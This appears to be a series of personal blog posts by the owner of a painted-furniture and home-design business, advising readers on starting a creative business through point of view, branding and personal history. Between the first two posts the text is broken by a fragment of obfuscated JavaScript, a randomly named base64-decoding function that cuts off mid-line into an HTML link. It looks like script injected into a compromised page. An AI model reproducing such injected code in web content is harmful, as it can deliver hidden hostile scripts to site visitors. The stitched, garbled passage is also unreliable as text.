…Building a Business – Point of View

I’m working on my presentation, as you know, for the Home & Remodeling Show and one of the topics I’m going to cover is how to start a creative business. I start here because it’s one of most frequent questions I receive. In making up my slides and bullet points, I think Point of View is probably the one that I believe is most important.

Having a strong point of view to define your business will not only be a way to stay true to yourself and consistent with your product, but it will also set you apart from the rest. It needs to be fairly organic, almost a blurred line between where YOU start and where your business starts. This will create a sense of authenticity.

POV will be like an umbrella over which everything will go under – your company name, your product, your colors, you style, your writing, etc. It’s the place to start and make it good because everything will be defined by it.

I started somewhere between birds and color and texture. It made sense to me and I continue to feel good about it because it’s me. Another tip it to make sure that you do a tad of a unique spin. I think the easiest way to do this is by infusing your business with your personality. God made us all different so whatever you have to offer is automatically going to be special. Don’t hide who you are by trying to be professional or like someone else. I think that would be counterproductive to doing anything creative. yea?

See the world and your business through your eyes. I’m obsessed with anything English and always have been. You have no idea how excited I get by just seeing a Union Jack or a glimpse of Big Ben on TV. I spent 6 months living there and miss it.

Use your story, your family, your history. It will mean more to you and people will notice.

 

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0/" rel="bookmark">…Building a Business – Branding

Coming up with a name, logo & overall image is so personal. And if you don’t make it personal I think people will notice. I think you need to choose a name and image that connects you to your business.

If you’ve ever been in an English Lit class you know how important bird imagery is. Shakespeare, Charlotte Bronte, James Joyce, Thomas Hardy, Kate Chopin, etc, etc.

The familiarity and transcendence of birds have given them a wider range of meaning and symbol in literature than any other animal. The resemblance of their activities to common patterns of human behavior makes them exceptionally suitable for anthropomorphic imagery that links man to the common forms of nature” (Lutwack xii).

Basically, birds mean quite a bit to me and it needed to be part of my presence.

I started looking up names that were already used and there were a TON of nest references. It’s cute, it should be used. Then I thought out what my style really is and although I never like being pigeonholed I needed to have a bit of description to my business.

I loved the contrast of a bright, turquoise egg, that of a robin and the earthy, brown nest. It reminded me of my style as I can appreciate rustic, vintage wares, but also everything that comes with placing something new & lively in your home.

It’s become a theme in my painting & home design…and of course that duck egg blue is my very favorite color in real life.

I love seeing the color everywhere in my home in little pockets. I think it’s important to tie your brand into your own personality, home-life and what you want your business to be. Commit to it and work it so that everything you put out there falls under this umbrella. It won’t be hard to do if you’ve selected a theme that you love and have a connection to.

 

 

 

 

You can imagine my excitement when I found these.

 

 

As a former marketer, I would venture to say that your brand should be one of your top priorities. Think hard about it because you will be investing time & money your company’s future into what you select. Make it unique & make it YOU.

Home & Remodeling Show January 20th @ 1:00. Working on my presentation now. eeek!!!

 

 

…Building Series – Buildling a Business

If you are thinking about building a business or have started your own little business, you know it’s taken a good 20/30/40 years to prepare you for what you are embarking on. You have history and practice and observation on your side.

I grew up watching my dad design and hand-make jewelry. My sister and I would watch him put those funny magnifying jewelers glasses on, work with long, skinny tweezers twisting and molding metal wire. He’d sink the soldered piece in the acid that made a “szzzzz” sound, slosh it around in a mason jar of water and then heat the piece again with his jeweler’s torch. He worked with his hands to create amazing pieces and we wear them all the time. You have no idea the jewelry boxes and hat boxes and trunks my sister & mom have filled with his pieces.

(This is my daughter designing with Papa. Funny how it reminds me of me at his side.)

I went to college, majored in English and was going to write books. Unfortunately, that doesn’t pay the rent until you are actually published.

Then I got a job. Marketing. In a design firm and it was a perfect fit for me. Images, photo shoots, writing, graphics. Kinda what I find myself doing 50% of the time at Blue Egg Brown Nest. Who knew how handy my background would come in when I used to ride that metro into work day in and day out. Eating my lunch at Lafeyette Park, staring at the the White House from my park bench.

Then came a waiting period in my life when I started trying to have a baby. God said no for many years. And I said yes to my own pottery studio in my basement, with wheel & kiln & hand-made glazes. It always felt natural to work with my hands and get messy.

(1 month after Reid was born. I just couldn’t help myself!)

I don’t mean to sound self-indulgent. I recount my past to discuss my present. When I look back it really feels like I was building levels and layers to my story and to my current business. There are things that I will try and accomplish now (or at least take the risk of trying) that I would not have if I did not have that framework underneath me. The writing, the marketing, the designing, etc. I didn’t just happen on furniture painting and blogging. I had no budget for pieces and experimented on 8 kitchen chairs off Craigslist. The necessity of needing furniture turned into wanting it all around me! And as a sidebar, I never read a blog in my life before starting my own! (shhhhhhh)

That is my story.

Many of you have asked me how to grow a business or get started or how did I get started. It wasn’t one thing that led me here. It was many things and many more things and right now it works for me. In a few years it may not work. Who knows. If I were able to share any advice I would say reflect on the things you’ve done & built & may be good at or curious about. I don’t really believe the message that you can do anything you set your mind to. I find it misleading. Yes, perhaps you could physically and/or mentally do it. But, would it be right for you? Would it be organic and natural for you? Would you be happy or good at it? Would it be fruitful? Would it end up frustrating you in the end and be unsatisfying. I do believe God has a plan for all of us, but he doesn’t show us the full hand of cards all at once. He reveals it slowly over a lifetime and if we are diligent and listen close enough we will hear & understand…maybe.

xoxo